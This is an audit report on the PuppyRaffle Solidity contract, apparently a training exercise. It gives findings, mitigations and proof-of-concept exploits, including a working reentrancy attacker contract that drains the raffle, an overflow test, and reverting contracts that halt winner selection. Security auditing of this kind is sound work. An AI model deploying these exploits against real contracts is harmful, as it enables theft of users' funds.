Puppy Raffle Audit Report

Version 1.0

ZophiaWong

October 15, 2025

Puppy Raffle Audit Report

Zephyr Wong

Oct. 15, 2025

Prepared by: Zephyr Wong

Lead Auditors: - Zephyr Wong

Table of Contents

- Medium
  * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential of DoS vector, incrementing gas costs for future entrants
  * [M-2] Balance checks in `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals.
  * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing a player at index 0 incorrectly think they have not entered the raffle.
  * [L-2] Malicious winner can forever halt the raffle
- Informational
  * [I-1] Solidity `paragma` should be specific, not wide
  * [I-2] Using an outdated version of Solidity is not recommended.
  * [I-3]: Address State Variable Set Without Checks
  * [I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
  * [I-5] Use of `magic` numbers is discouraged
- Gas
  * [G-1] Unchanged state variable should be declared `constant` or `immutable`.
  * [G-2] Storage variables in a loop should be cached.

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Disclaimer

Codes outside of Scope

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	4
Low	2
Info	7 (5 Info + 2 Gas)
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow the CEI(Checks, Effects, Interactions) pattern and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");
@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);
}
```

Impact: All fees paid by the entrants could be stolen by a malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback`/`receive` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls the `PuppyRaffle::refund` from the attacker contract, draining the PuppyRaffle contract.

PoC(Proof of code)

Add the followings to `PuppyRaffle.t.sol`.

```
// test to confirm vulnerability
function testCanGetRefundReentrancy() public {
    address[] memory players = new address[](4);
    players[0] = playerOne;
    players[1] = playerTwo;
    players[2] = playerThree;
    players[3] = playerFour;
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    ReentrancyAttacker attackerContract = new ReentrancyAttacker(
        puppyRaffle);
    address attacker = makeAddr("attacker");
    vm.deal(attacker, 1 ether);

    uint256 startingAttackContractBalance = address(attackerContract).
        balance;
    uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // attack

    vm.prank(attacker);
    attackerContract.attack{value: entranceFee}();

    // impact
    console.log("attackerContract balance: ",
        startingAttackContractBalance);
    console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
    console.log("ending attackerContract balance: ", address(
        attackerContract).balance);
    console.log("ending puppyRaffle balance: ", address(puppyRaffle).
        balance);
}
```

As well as the attacker contract.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making external calls. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");
+     players[playerIndex] = address(0);
+     emit RaffleRefunded(playerAddress);
    payable(msg.sender).sendValue(entranceFee);
-     players[playerIndex] = address(0);
-     emit RaffleRefunded(playerAddress);
}
```

[H-2] Weakness randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and .

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if a gas war to choose a winner results.

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and use that to predict when/how to participate. See Solidity blog on prevrandao. `block.timestamp` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain value as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Considering using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;  // myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will be:

   ```
   totalFees = totalFees + uint64(fee);
   // substituted
   totalFees = 800000000000000000 + 17800000000000000000;
   // due to overflow, the following is now the case
   totalFees = 153255926290448384;
   ```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players
      active!");
```

PoC

```
    function test_TotalFeesWouldOverflow() public playersEntered {
        // we finish a raffle of 4 players to collect some fees
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + duration + 1);
        puppyRaffle.selectWinner();
        uint64 startingTotalFees = puppyRaffle.totalFees();
        // 800_000_000_000_000_000

        // we then have 89 players enter the raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + duration + 1);

        // And the issue occurs here
        // we will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees: ", endingTotalFees);
        // endingTotalFees: 153_255_926_290_448_384
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZepplin's `SafeMath` to prevent integer overflows.

1. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

2. Remove the balance check in `PuppyRaffle::withdrawFees`

```
-     require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
```

   We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential of DoS vector, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new entrant will have to make, which means that the gas costs for players who enter right after the raffle starts will be dramatically lower than those who enter later. Every additional address in `players` array is an additional check the loop will have to make.

Impact:

1. The gas costs for raffle entrants will greatly increase as more players enter.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transactions would fail.

Proof of Concept:

If we have 2 sets of 100 players enter the raffle, the gas costs would be as such:

- 1st 100 players: 6503272
- 2st 100 players: 18995124

This is approximately 3 times as expensive for the second set of 100 players!

This is due to the loop in `PuppyRaffle::enterRaffle` function:

```
    // Check for duplicates
@>    for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

PoC

```
    function test_ReadDuplicateGasCosts() public {
        vm.txGasPrice(1);

        // first 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i));
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = gasStart - gasEnd;
        console.log("Gas cost for 1st 100 players: ", gasUsedFirst);

        // second 100 players
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(uint160(i + playersNum));
        }
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        gasEnd = gasleft();
        uint256 gasUsedSecond = gasStart - gasEnd;
        console.log("Gas cost for 2nd 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
        // Logs:
        //   Gas cost for 1st 100 players:  6503272
        //   Gas cost for 2nd 100 players:  18995124
    }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check for address doesn't prevent the same person from entering multiple times.
2. Consider using a map to check for duplicates. This would allow you to check duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the

mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+        raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance checks in `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals.

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>        require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFees` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees
2. Malicious user send 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner`, there is a type cast of a `uint64` to `uint256`, which is an safe cast. And if the value of `uint256` is larger than `type(uint64).max`, the value will be truncated and the `fee` will get lost.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
            );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by following command:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
            sender, block.timestamp, block.difficulty))) % players.
            length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users would reenter, but it may still cost a lot of gas due to duplicate the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it difficult to reset the lottery, preventing a new round from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (Not Recommended).
2. Creating a mapping of addresses -> payout so winners can pull their funds out by themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing a player at index 0 incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to natspec it will also return zero if the player is NOT in the array.

```
/// @return the index of the player in the array, if they are not
    active, it returns 0
```

```
function getActivePlayerIndex(address player) external view returns (
    uint256) {
for (uint256 i = 0; i < players.length; i++) {
    if (players[i] == player) {
        return i;
    }
}
@>          return 0;
}
```

Impact: The player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle as the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User think they have not entered the raffle correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if player is not in the array instead of return 0.

You could also reserve the 0th position for any competition, but an better solution might be to return an `int256` where the function returns `-1` if the player is not in the array.

[L-2] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Informational

[I-1] Solidity `paragma` should be specific, not wide

Consider using a specific version of Solidity in your contract instead of a wide version.

For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 3

```
    pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

3 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 65

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 159

```
        previousWinner = winner;
```

- Found in `src/PuppyRaffle.sol` Line: 193

  ```
          feeAddress = newFeeAddress;
  ```

[I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI(Checks, Effects, Interactions).

```
-     (bool success,) = winner.call{value: prizePool}("");
-     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
    _safeMint(winner, tokenId);
+     (bool success,) = winner.call{value: prizePool}("");
+     require(success, "PuppyRaffle: Failed to send prize pool to winner
    ");
```

[I-5] Use of `magic` numbers is discouraged

It can be confusing to number literals in codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;
```

Gas

[G-1] Unchanged state variable should be declared `constant` or `immutable`.

Reading from storage is much more gas-expensive than from a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be immutable.
- `PuppyRaffle::commonImageUri` should be constant.
- `PuppyRaffle::rareImageUri` should be constant.
- `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] Storage variables in a loop should be cached.

Every time you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-     for (uint256 j = i + 1; j < players.length; j++) {
+     for (uint256 j = i + 1; j < playersLength; j++) {
          require(players[i] != players[j], "PuppyRaffle: Duplicate
              player");
      }
}
```